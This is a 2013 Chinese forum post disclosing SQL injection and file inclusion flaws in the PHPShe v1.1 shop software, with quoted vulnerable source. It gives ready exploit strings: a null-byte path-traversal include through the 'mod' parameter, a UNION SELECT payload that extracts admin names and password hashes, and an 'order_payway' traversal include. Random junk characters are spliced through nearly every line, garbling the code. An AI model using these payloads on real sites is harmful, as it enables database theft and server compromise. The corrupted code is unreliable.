找回密码
 立即注册
查看: 3059|回复: 0
打印 上一主题 下一主题

phpshe v1.1多处SQL注入和文件包含漏洞Getshell

[复制链接]
跳转到指定楼层
楼主
发表于 2013-4-19 19:01:54 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
/*******************************************************/3 t% e7 f6 c5 h6 K8 `2 E# ^& y
/* Phpshe v1.1 Vulnerability" u: |3 Q- q9 o9 p0 ?" M+ J
/* ========================
4 Q3 V8 q4 g9 V) v# s6 f7 z/* By: : Kn1f3+ W3 v1 F7 I  ?. o, [
/* E-Mail : 681796@qq.com0 ~3 i- g" H. c6 ^9 j* K& Q" f
/*******************************************************/
2 G2 e# T  V6 ^/ K, [0×00 整体大概参数传输8 C( M7 H- q4 ]+ [
& N+ N5 m% s8 l; J8 d: v' J* ~

3 Q. B7 {5 ]! J7 \) A' n
8 n( y% I; _, z% p, p9 L( ?; W
//common.php. F7 P, f  w& u2 B6 ^: O% j& S
if (get_magic_quotes_gpc()) {
% Y8 ]- w$ \* g!empty($_GET) && extract(pe_trim(pe_stripslashes($_GET)), EXTR_PREFIX_ALL, '_g');- l* P1 e; L* k3 S8 b3 k
!empty($_POST) && extract(pe_trim(pe_stripslashes($_POST)), EXTR_PREFIX_ALL, '_p');
+ P7 |# x( o& v( i3 Q}* J" ^2 F4 u9 B1 r
else {$ ]3 j: ^1 ]; m& {( g& `' b
!empty($_GET) && extract(pe_trim($_GET),EXTR_PREFIX_ALL,'_g');0 Z, e& {) P1 I( v/ Z
!empty($_POST) && extract(pe_trim($_POST),EXTR_PREFIX_ALL,'_p');1 f" j1 V  d9 i5 v
}
; R3 T  p/ r, h4 m$ y! b  qsession_start();$ Z9 T) Z9 ~7 ]& G9 C; l; @
!empty($_SESSION) && extract(pe_trim($_SESSION),EXTR_PREFIX_ALL,'_s');- w) q, j# z2 v0 @
!empty($_COOKIE) && extract(pe_trim(pe_stripslashes($_COOKIE)),EXTR_PREFIX_ALL,'_c');
4 A0 [2 r) y6 {& c( h7 I. F
! g' r1 k; l4 G7 G! S$ W2 T0×01 包含漏洞) W0 A. D0 c3 b( @5 J

+ M$ _* `) C3 Q) k  h0 N

% X- f8 ~7 b' f0 X) T//首页文件
' x0 x1 h/ F, t8 J<!--?php include('common.php'); $cache_category = cache::get('category'); $cache_category_arr = cache::get('category_arr'); $cache_class = cache::get('class'); $cache_ad = cache::get('ad'); $cache_link = cache::get('link'); $cache_page = cache::get('page'); $web_qq = $cache_setting['web_qq']['setting_value'] ? explode(',', $cache_setting['web_qq']['setting_value']) : array(); $cart_num = pe_login('user') ? $db--->pe_num('cart', array('user_id'=>$_s_user_id)) : (unserialize($_c_cart_list) ? count(unserialize($_c_cart_list)) : 0);
9 `/ Q) F9 y& R. P/ g0 z2 R; m" Rinclude("{$pe['path_root']}module/{$module}/{$mod}.php");  //$mod可控造成“鸡肋”包含漏洞' ^# e1 G% W8 g1 X
pe_result();& f, h7 @( ~& ^. o6 B
?>3 J- ?% s; X' E% x% C; b4 U7 e
//common 文件 第15行开始( M% x  R& y' A: s; z1 l
url路由配置0 e0 c% Z  W+ K- D
$module = $mod = $act = 'index';8 t, C0 ?% K, f1 ]/ u  z) r) {
$mod = $_POST['mod'] ? $_POST['mod'] : ($_GET['mod'] ? $_GET['mod'] : $mod);
! f8 ?2 K* L; ]1 \$act = $_POST['act'] ? $_POST['act'] : ($_GET['act'] ? $_GET['act'] : $act);0 g' c( {8 C" D; R4 P* E
$id = $_POST['id'] ? $_POST['id'] : ($_GET['id'] ? $_GET['id'] : $id);
4 Y! m& m. `& L7 c" w2 Z+ G4 O//exp:http://127.0.0.1/phpshe_v1.1/index.php?mod=../../robots.txt%00
& \# @2 j( d0 B* H/ J


. X. T1 h9 u! a! E * s0 F3 f& h% I, K
0×02 搜索注入
/ s5 |6 o: _/ j. ~# M+ e: J/ M
, c9 c8 E/ L9 m: x8 j<code id="code2">

//product.php文件2 {$ b- i% q" X, v& R( Q" P" B6 L
case 'list':8 ?7 V( s0 w2 Y
$category_id = intval($id);. d- P- ^- [9 Y* U( ^
$info = $db->pe_select('category', array('category_id'=>$category_id));
+ f5 B! ?' X  k$ u//搜索2 w6 w4 y0 J: K2 l9 N4 l
$sqlwhere = " and `product_state` = 1";- L* j) d! q2 h, C- m
pe_lead('hook/category.hook.php');# V0 n+ l0 s& k; k/ o! K7 s
if ($category_id) {
+ |& J: ^- y6 b* u2 o6 ^4 P7 rwhere .= is_array($category_cidarr = category_cidarr($category_id)) ? " and `category_id` in('".implode("','", $category_cidarr)."')" : " and `category_id` = '{$category_id}'";
* w' e5 Z3 v& {6 k) p% p  y}
( A2 }! ]4 b( y0 c% `$_g_keyword && $sqlwhere .= " and `product_name` like '%{$_g_keyword}%'"; //keyword变量未进行有效的sql语句过滤; j2 E  ^* P7 p1 ^/ ]9 Q9 o
if ($_g_orderby) {9 B0 \; {1 F2 x7 B2 V+ s
$orderby = explode('_', $_g_orderby);
7 V' t7 E7 e: |7 w! ^  b, V$sqlwhere .= " order by `product_{$orderby[0]}` {$orderby[1]}";
0 E" N# U# p. M3 p3 T  |}
* S( c) K: i/ @% Telse {
3 r0 p0 y+ i3 X1 W" I$sqlwhere .= " order by `product_id` desc";2 b" ?6 w# X  w  v& }( k" L
}
; w; @4 t" t' Y8 w$info_list = $db->pe_selectall('product', $sqlwhere, '*', array(16, $_g_page));
2 A8 w/ @; f2 W# G- z: ~//热卖排行
3 h% }% E4 y- ~- K5 @$product_hotlist = product_hotlist();0 b2 {: g3 B9 ?7 K- `
//当前路径
' {$ L7 Y; ^" @/ f$nowpath = category_path($category_id);& k: V" j' W/ s  Q- Y. D1 u4 A/ [
$seo = pe_seo($info['category_name']);) a2 Y7 Q# Y7 _6 ]) w! N
include(pe_tpl('product_list.html'));3 |0 @8 i  a0 X
//跟进selectall函数库6 w9 }3 m+ V/ `" V1 P4 k+ R: x
public function pe_selectall($table, $where = '', $field = '*', $limit_page = array())
; _7 Z5 g/ O+ a; y5 h2 F! O{
5 h+ u* x  \: m+ |0 p//处理条件语句
, O# U, i" H; \( [& `4 E$sqlwhere = $this->_dowhere($where);# g$ K! S" Y$ b
return $this->sql_selectall("select {$field} from `".dbpre."{$table}` {$sqlwhere}", $limit_page);5 z3 f$ Q: @+ D3 H
}9 w2 j9 I$ J' i) {( \2 z6 V
//exp* z) m9 N3 }6 C  m
product/list?keyword=kn1f3'+union+select+1,2,3,4,5,(select+concat(admin_name,0x27,admin_pw,0x27)+from+pe_admin),7,8,9,10,11,12,13,14,15,16,17,18,19 and+'1'='1
, U  L# V) F; d, R- J+ N3 F4 K3 H$ s

</code>
/ @) M/ A7 y9 c( D" {/ C
) @/ D8 `7 X9 e; m' A% a$ T0×03 包含漏洞2- J6 _6 L7 B: a
1 R8 e$ p# v1 d6 F9 @/ Q2 C6 k8 f
<code id="code3">

//order.php

case 'pay':


/ u5 f* g3 u5 t/ ?$order_id = pe_dbhold($_g_id);

% y8 {1 _0 e( J$ o
$cache_payway = cache::get('payway');


4 C, o# [4 \& V% S+ w' mforeach($cache_payway as $k => $v) {


+ i+ p0 I7 z- d" O$cache_payway[$k]['payway_config'] = unserialize($cache_payway[$k]['payway_config']);

- y) |; V: q: P2 p; L8 T6 g/ X( E$ U! ]
if ($k == 'bank') {


+ a* `. |4 v6 D- b8 K# P8 I$cache_payway[$k]['payway_config']['bank_text'] = str_replace(array("\r", "\n", "\t"), '\n', $cache_payway[$k]['payway_config']['bank_text']);


6 c3 I- _% D  T7 D/ ^( Y9 D1 g. l}

* ^& z3 O2 r' y2 i* s  [+ u
}

: e) w# J) i; t) V7 N
$order = $db->pe_select('order', array('order_id'=>$order_id, 'order_state'=>'notpay'));


1 b; P3 I3 @9 ~4 X. N0 ]!$order['order_id'] && pe_error('订单号错误...');


: c8 U- J# u9 o' n5 s, w% V0 Eif (isset($_p_pesubmit)) {

8 R- m0 T" i% U
if ($db->pe_update('order', array('order_id'=>$order_id), $_p_info)) {

: c- w8 b6 S7 ~- T* T
$info_list = $db->pe_selectall('orderdata', array('order_id'=>$order_id));

2 G* S) H5 \" p/ r9 o3 ~
foreach ($info_list as $v) {

. R7 S# q9 {5 U' F* z! ?
$order['order_name'] .= "{$v['product_name']};";: _2 m, A9 M/ ]  b" c; m

  }* J, S/ Z' W2 ~& I- n  h- X
}

6 J- _1 e% n0 M
echo '正在为您连接支付网站,请稍后...';


/ ~& ]/ z+ _4 Linclude("{$pe['path_root']}include/plugin/payway/{$_p_info['order_payway']}/order_pay.php");

8 l2 y7 h8 k/ j3 }* I
}//当一切准备好的时候就可以进行"鸡肋包含了"

) d/ }2 z0 v' x- L- u; N. b
else {

5 \( c( b5 |7 G& X7 |1 D
pe_error('支付错误...');

7 q+ ^4 |  c% ?/ X6 H- o
}

7 W# L/ G! v% N. V, V
}

# G- z# g1 D* K& U& e5 |! g
$seo = pe_seo('选择支付方式');


+ M% Q4 `( s9 U; J' u' Hinclude(pe_tpl('order_pay.html'));

/ G6 n! O6 l7 m5 \7 b# g& }( A0 X
break;

}

//exp:

//http://127.0.0.1/phpshe_v1.1/index.php?mod=order&act=pay&id=1304070001

//info%5Border_payway%5D=alipay/../../../1.txt%00&pesubmit=%E7%AB%8B%E5%8D%B3%E6%94%AF%E4%BB%98</code>
- H: A3 H$ p: t0 i( @; E1 y+ Z

回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表